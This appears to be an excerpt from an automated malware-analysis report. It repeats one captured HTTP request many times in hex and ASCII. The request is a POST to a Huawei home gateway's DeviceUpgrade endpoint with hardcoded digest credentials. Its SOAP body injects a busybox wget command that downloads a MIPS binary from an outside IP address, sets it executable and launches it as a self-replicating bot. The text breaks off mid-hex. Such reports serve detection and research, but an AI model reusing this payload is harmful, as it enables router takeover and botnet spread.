6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 